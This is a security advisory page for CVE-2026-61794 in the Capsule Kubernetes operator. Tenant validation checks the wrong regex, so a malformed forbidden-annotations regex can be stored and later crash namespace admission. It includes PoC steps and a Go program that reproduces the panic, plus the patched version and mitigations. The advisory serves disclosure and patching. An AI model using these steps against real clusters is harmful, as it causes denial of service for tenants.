CVE-2026-61794 is a medium-severity (CVSS 6.8) Improper Input Validation vulnerability in github.com/projectcapsule/capsule. A fix is available for github.com/projectcapsule/capsule — see the affected versions and patch details below.
Capsule: Malformed ForbiddenAnnotations.Regex can bypass Tenant validation and trigger namespace admission panic
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-61794.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/projectcapsule/capsuleReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A validation bug in internal/webhook/tenant/validation/forbidden_annotations_regex.go allows an invalid ForbiddenAnnotations.Regex value to bypass Tenant admission on update. The webhook compiles ForbiddenLabels.Regex for both labels and annotations, so a malformed annotations regex can be persisted. Once stored, namespace admission later evaluates the bad regex through pkg/api/forbidden_list.go, where regexp.MustCompile can panic and cause admission failure.
Details
In internal/webhook/tenant/validation/forbidden_annotations_regex.go, OnUpdate validates the new Tenant object, but the loop compiles tnt.Spec.NamespaceOptions.ForbiddenLabels.Regex for both labels and annotations. That means an invalid ForbiddenAnnotations.Regex is never validated if ForbiddenLabels.Regex is valid.
Relevant paths:
internal/webhook/tenant/validation/forbidden_annotations_regex.gointernal/webhook/namespace/validation/user_metadata.gopkg/api/forbidden_list.go
Namespace admission later calls api.ValidateForbidden(...), and ForbiddenListSpec.RegexMatch() uses regexp.MustCompile(in.Regex). If the malformed regex is present in the Tenant spec, any namespace request that reaches this check can panic or fail hard, causing denial of service for namespace operations in the affected tenant.
PoC
- Update a Tenant so that:
spec.namespaceOptions.forbiddenLabels.regexis validspec.namespaceOptions.forbiddenAnnotations.regexis malformed, for example:[invalid-regex(
- The Tenant update is accepted because the webhook compiles the labels regex for both fields.
- Create or update a Namespace that triggers forbidden metadata validation.
- The namespace admission path reaches
regexp.MustCompile(...)and panics.
package main
import (
"fmt"
"regexp"
)
type ForbiddenListSpec struct {
Regex string
}
type NamespaceOptions struct {
ForbiddenLabels ForbiddenListSpec
ForbiddenAnnotations ForbiddenListSpec
}
type Tenant struct {
NamespaceOptions *NamespaceOptions
}
func validateTenantUpdate(tnt *Tenant) error {
if tnt.NamespaceOptions == nil {
return nil
}
annotationsToCheck := map[string]string{
"labels": tnt.NamespaceOptions.ForbiddenLabels.Regex,
"annotations": tnt.NamespaceOptions.ForbiddenAnnotations.Regex,
}
for scope, annotation := range annotationsToCheck {
if _, err := regexp.Compile(tnt.NamespaceOptions.ForbiddenLabels.Regex); err != nil {
return fmt.Errorf("deny update: unable to compile %s regex for forbidden %s", annotation, scope)
}
}
return nil
}
func validateForbidden(metadata map[string]string, forbidden ForbiddenListSpec) error {
for key := range metadata {
if forbidden.Regex != "" {
if regexp.MustCompile(forbidden.Regex).MatchString(key) {
return fmt.Errorf("forbidden key matched: %s", key)
}
}
}
return nil
}
func main() {
oldTenant := &Tenant{
NamespaceOptions: &NamespaceOptions{
ForbiddenLabels: ForbiddenListSpec{Regex: `^[a-z0-9-]+$`},
ForbiddenAnnotations: ForbiddenListSpec{Regex: `^[a-z0-9-]+$`},
},
}
newTenant := &Tenant{
NamespaceOptions: &NamespaceOptions{
ForbiddenLabels: ForbiddenListSpec{Regex: `^[a-z0-9-]+$`},
ForbiddenAnnotations: ForbiddenListSpec{Regex: `[invalid-regex(`},
},
}
fmt.Println("=== Update step ===")
if err := validateTenantUpdate(newTenant); err != nil {
fmt.Printf("unexpected deny: %v\n", err)
} else {
fmt.Println("allowed: malformed ForbiddenAnnotations.Regex bypassed validation")
}
fmt.Println()
fmt.Println("=== Namespace step ===")
_ = oldTenant
defer func() {
if r := recover(); r != nil {
fmt.Printf("panic reproduced from ValidateForbidden: %v\n", r)
}
}()
_ = validateForbidden(map[string]string{"example": "value"}, ForbiddenListSpec{Regex: `[invalid-regex(`})
fmt.Println("no panic, unexpected")
}
Expected output:
=== Update step ===
allowed: malformed ForbiddenAnnotations.Regex bypassed validation
=== Namespace step ===
panic reproduced from ValidateForbidden: regexp: Compile(`[invalid-regex(`): error parsing regexp: missing closing ]: `[invalid-regex(`
Impact
An attacker who can update the Tenant configuration can persist a malformed ForbiddenAnnotations.Regex and cause namespace admission failures for the affected tenant. This can result in a tenant-scoped denial of service.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/projectcapsule/capsule | ≥ 0.13.0&&< 0.13.7 | 0.13.7go get github.com/projectcapsule/capsule@v0.13.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/projectcapsule/capsule, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/projectcapsule/capsule to 0.13.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-61794 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2026-61794 in your dependencies?
Find it across Go, including transitive dependencies.